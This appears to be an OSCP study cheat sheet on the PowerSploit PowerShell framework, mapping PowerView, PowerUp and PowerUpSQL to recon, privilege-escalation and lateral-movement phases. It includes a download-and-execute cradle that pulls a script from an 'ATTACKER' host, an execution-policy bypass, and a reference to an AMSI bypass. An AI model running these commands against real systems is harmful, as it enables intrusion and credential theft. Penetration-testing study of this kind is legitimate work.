PowerSploit — PowerShell Offensive Framework
Ctrl+F:
PowerSploit·PowerView·PowerUp·Import-Module
What it is: Collection of PowerShell offensive modules for penetration testing — run from a Windows shell (evil-winrm, RDP, initial foothold) when you can’t use Linux tools.
Repo: PowerShellMafia/PowerSploit
OSCP note: You rarely need the whole repo — grab individual
.ps1files. AMSI may block — see evil-winrm-s/ Bypass-4MSI.
📌 Module map (OSCP-relevant)
| Tool | Purpose | Phase | Vault note |
|---|---|---|---|
| PowerView | Enumerate Active Directory | Recon | PowerView |
| PowerUp | Windows privilege escalation | Local PrivEsc | PowerUp |
| PowerUpSQL | Attack Microsoft SQL Server | Lateral movement | PowerUpSQL (separate repo — NetSPI) |
| PowerSploit | Framework / collection of modules | Framework | This note |
Other PowerSploit modules (awareness): Invoke-Mimikatz, Invoke-Kerberoast, Invoke-TokenManipulation — often replaced by standalone tools (Mimikatz, Rubeus, Kerberoast).
📌 Install / load
# Download single script (common OSCP approach)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER:8080/PowerView.ps1')
# Or clone repo and import module
git clone https://github.com/PowerShellMafia/PowerSploit.git
Import-Module .\PowerSploit\Recon\PowerView.ps1
Import-Module .\PowerSploit\Privesc\PowerUp.ps1
# From disk on target
powershell -ep bypass
. .\PowerView.ps1
. .\PowerUp.ps1evil-winrm — upload to -s scripts folder, then run by name:
evil-winrm -i TARGET -u user -p pass -s /path/to/scripts/
# In session: PowerView.ps1 → Invoke-AllChecks📌 When to use which
Domain-joined Windows shell?
├── Need AD users/groups/ACLs/SPNs → PowerView (Recon)
├── Need local admin on THIS box → PowerUp (PrivEsc)
└── Need MSSQL discovery / xp_cmdshell → PowerUpSQL (Lateral)
Linux only with domain creds?
├── AD enum → ldapsearch / nxc / bloodyAD / Impacket
├── PrivEsc → WinPEAS.exe / manual [[Windows PrivEsc]]
└── MSSQL → impacket-mssqlclient DOMAIN/user:pass@TARGET -windows-auth → [[MSSQL]]
📌 Quick reference
| Phase | Windows (PowerSploit family) | Linux alternative |
|---|---|---|
| AD Recon | Get-DomainUser -SPN | Kerberoast · ldapsearch |
| Local PrivEsc | Invoke-AllChecks | WinPEAS · Windows PrivEsc |
| MSSQL | Get-SQLInstanceDomain | mssqlclient · MSSQL |